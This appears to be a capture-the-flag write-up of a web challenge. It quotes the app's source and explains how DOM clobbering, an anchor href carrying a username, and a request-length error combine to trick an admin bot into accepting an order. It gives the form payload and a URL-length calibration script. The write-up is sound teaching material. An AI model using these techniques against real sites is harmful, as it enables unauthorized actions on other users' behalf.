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Clob-Mate

DOM clobbering + request size denial of service

Description

I heard there's a shortage of Clob-Mate, but you need your hacker fuel. You have to order some, no matter the cost.
web-clob-mate-source.tar.gz
1MB
Binary

Solution

Initial Analysis

This challenge gives us a simple form that when submitted, shows our "order status".
Looking at the source code, we can see that the endpoint that creates the order takes in article, quantity, username, address and email, then generates an order_id based on the base64-encoded value of article+quantity+username+address.
@main.route('/order/create', methods=['POST'])
@limiter.limit("40/minute")
def create_order():
try:
article = escape(request.form.get('article'))
quantity = escape(request.form.get('quantity'))
username = escape(request.form.get('username'))
if username == "pilvar":
if not ipaddress.ip_address(request.remote_addr).is_private:
abort(403)
address = escape(request.form.get('address'))
email = escape(request.form.get('email'))
order_id = codecs.encode((article+quantity+username+address).encode('ascii'), 'base64').decode('utf-8')
order_id = order_id.replace("\n","") #I have no ideas where it happens, but I think there's a new line appended somewhere. Putting this line here and there fixed it.
order = Order.query.filter_by(order_id=order_id).first()
if order:
iteration = 0
order_id = order.order_id
og_order_id = order_id
while order:
order_id = og_order_id+"-"+str(iteration)
order = Order.query.filter_by(order_id=order_id).first()
iteration += 1
status = "Under review"
new_order = Order(order_id=order_id,
email=email,
username=username,
address=address,
article=article,
quantity=quantity,
status=status)
db.session.add(new_order)
db.session.commit()
q.enqueue(visit, order_id)
return redirect("/orders/"+order_id+"/preview")
except Exception as e:
return(str(e))
This base64 value is then used in future URI paths that correspond to our order. This format of creating record IDs is a bit odd - alphanumeric IDs of a fixed length are the commonly-used format for these things, and more interestingly this format allows the user to create arbitrary-length URLs. This would come in handy later.
The app also exposes a /orders/<order_id>/get_user_infos API that allows us to query the username, address and email information of an order.
@main.route('/orders/<order_id>/get_user_infos')
def userinfos(order_id):
order = Order.query.filter_by(order_id=order_id).first()
return {'username': order.username, 'address': order.address, 'email': order.email}
The /order/update endpoint is where we get our flag - the admin needs to send a request that sets the order_status to "accepted".
@main.route('/order/update', methods=['POST'])
def update():
if ipaddress.ip_address(request.remote_addr).is_private:
order_id = request.form.get('order_id')
order_status = request.form.get('order_status')
if order_status == "accepted":
order_status = os.getenv('FLAG')
Order.query.filter_by(order_id=order_id).update({
'status': order_status
})
db.session.commit()
return redirect("/")
else:
return redirect("/")
The admin would visit our order preview, where the inspect_order.html template is rendered.
@main.route('/orders/<order_id>/preview')
def order(order_id):
if order_id:
order = Order.query.filter_by(order_id=order_id).first()
if not order:
abort(404)
if ipaddress.ip_address(request.remote_addr).is_private:
article_infos = order.article.split(":")
article_name = article_infos[0]
article_link = article_infos[1]
return render_template('inspect_order.html', order_id=order.order_id, article_name=article_name, article_link=article_link, quantity=order.quantity)
else:
return render_template('order_status.html', status=order.status)
else:
return redirect("/")

DOM Clobbering

Let's take a look at the preview page! Our goal here is make order.user.username evaluate to "pilvar", so that we reach the code path where /order/update request is sent with order_status=accepted.
<script type="text/javascript">
//As we are getting out of stock, we decided to prioritize delivering our last Clob-Mates to real hackers. We also automated this task because it was taking a lot of time.
order_id = "{{ order_id }}"
fetch("get_user_infos").then(res => res.text()).then(txt => {
try {
user = JSON.parse(txt);
order = { "user": {} };
order.user = user;
if (order.user.username == "pilvar") {
fetch("/order/update", {
body: "order_id=" + order_id + "&order_status=accepted",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
method: "post",
})
} else {
fetch("/order/update", {
body: "order_id=" + order_id + "&order_status=rejected",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
method: "post",
})
}
}
catch (err) {
console.log("Couldn't send the data, trying again.");
if (order.user.username == "pilvar") {
fetch("/order/update", {
body: "order_id=" + order_id + "&order_status=accepted",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
method: "post",
})
} else {
fetch("/order/update", {
body: "order_id=" + order_id + "&order_status=rejected",
headers: {
"Content-Type": "application/x-www-form-urlencoded",
},
method: "post",
})
}
}
})
</script>
Quite interestingly, the fetch("/order/update") call is performed again if an exception is raised in the try block.
Note that none of the variables are declared with the var or let keywords, making all of them global variables. Because in HTML the global scope is the window object, one effect of this is that if any of the HTML elements have their id set to order, the global variable order (window.order) would refer to that element!
This is known as DOM clobbering, a technique hinted by the challenge name.
<body>
<p id="order" name="{{ order_id }}"><b>Order ID: </b>{{ order_id }}</p>
<p><b>Article:</b> <a id="order" name="{{ article_name }}" href="/{{ article_link }}">{{ article_name }}</a></p>
<p id="order" name="{{ quantity }}"><b>Quantity: </b>{{ quantity }}</p>
</body>
Because the bottom of the page contains elements with their ids set to order, the original value of order is a HTMLCollection object containing these elements.
But since order is being set in the try block, this vulnerability can only happen if we trigger an exception at the JSON.parse line before the order variable is changed.
try {
user = JSON.parse(txt);
order = { "user": {} };
order.user = user;
...
At this point we don't yet know how to trigger the exception, but let's first try and see if our hypothesis works. We could test this by adding a throw statement before order is changed.
try {
user = JSON.parse(txt);
throw "";
order = { "user": {} };
order.user = user;
The order variable is indeed a HTMLCollection!
Recall that our goal is to set order.user.username. To control order.user, we could use the name attribute that is set on the anchor and paragraph tags.
Right now, our form body looks like this:
username=x&email=x&address=1&quantity=user&article=user:x
which sets the following body:
<body>
<p id="order" name="dXNlcjp4dXNlcngx"><b>Order ID: </b>dXNlcjp4dXNlcngx</p>
<p><b>Article:</b> <a id="order" name="user" href="/x">user</a></p>
<p id="order" name="user"><b>Quantity: </b>user</p>
</body>
Now order.user would return the anchor tag element. Great!
Curiously though, order.user.username is an empty string, instead of undefined.
This was strange indeed! The username property is in fact part of the anchor tag element object's prototype.
It turns out that the anchor tag's username property actually refers to the username part of the href value (see this). This meant that in order to set order.user.username to pilvar, all we had to do was to supply a URL starting with [email protected] to the href attribute.
username=x&email=x&address=1&quantity=user&article=user:/[email protected]

Triggering the Exception

Now comes the tricky part - how do we trigger the exception in the first place?
My first thought was to look for interoperability issues between Flask's JSON response and JavaScript's JSON.parse. I tried things like weird unicode characters and JSON comments, but nothing worked. One nap later I convinced myself that both Flask and JavaScript are probably spec-compliant when handling JSON, and I was probably not intended to find a JSON parsing 0-day.
If JSON parsing is out of the question, then the only way to cause an exception here is to make the /order/<order_id>/get_user_infos endpoint return something that is not JSON in the first place! Going back to the /order/create endpoint, I started to question the weird order_id format.
order_id = codecs.encode((article+quantity+username+address).encode('ascii'), 'base64').decode('utf-8')
order_id = order_id.replace("\n","")
We know that the user can create arbitrary-length order IDs, and we need get_user_infos to somehow fail. Since the /order/<order_id>/preview URL is 7 bytes shorter than the /order/<order_id>/get_user_infos one, there is a 7-byte window where preview would succeed but get_user_infos will fail due to URL length limits enforced by the web server. This is a known technique that in some cases can be helpful in performing XS-Leaks.
In the case of Waitress, the 431 Request Header Fields Too Large response code is returned.
HTTP/1.0 431 Request Header Fields Too Large
Connection: close
Content-Length: 90
Content-Type: text/plain
Date: Sun, 25 Sep 2022 07:58:27 GMT
Server: waitress
Request Header Fields Too Large
exceeds max_header of 262144
(generated by waitress)
Using this script to binary search for the longest URL we could get before the error occurs, I got an approximate length for the order_id to trigger this exploit.
let URL_LIMIT = 1000000
const checkLoad = async (url) => {
let res = await fetch(url)
return res.ok
}
const genUrl = (url, n) => {
let seperator = url.includes('?') ? '&foo=' : '?foo='
let endMarker = 'END'
let l = n - url.length - seperator.length - endMarker.length
let newUrl = url + seperator + 'a'.repeat(l) + endMarker
if(newUrl.length !== n){
console.debug(`[!] ${newUrl.length} !== ${n}`)
}
return newUrl
}
const calibrate = async (url) => {
let l = 0, r = URL_LIMIT, m = 0, res = false
while (l < r) {
m = Math.floor((l + r) / 2)
res = await checkLoad(genUrl(url, m))
console.log(res, m)
if(res === false){
r = m - 1
}
else{
l = m + 1
}
}
// check it again
res = await checkLoad(genUrl(url, l))
if(res === false){
l--
}
res = await checkLoad(genUrl(url, l))
if(res === false){
console.debug('Error after last check !!!')
return 0
}
console.debug(`DONE: length: ${l}, result: ${res}`)
return l
}
calibrate("http://localhost:1337")
The next step is to take our current payload, and pad any of the fields (except for article) with enough bytes to get the corresponding order_id length.
A few moments later the admin visits our preview page and gets the flag!
While this method used the 7-byte difference between the two URLs to calculate the order_id length, the exploit is actually made much simpler by the fact that the Referer header is sent on the second request containing the order URL (I only noticed this after the competition).
Because the error is caused by the total length of the request line + headers, the long Referer header meant that the precision of calculating the required order_id length was not that important and a large range of lengths would have worked.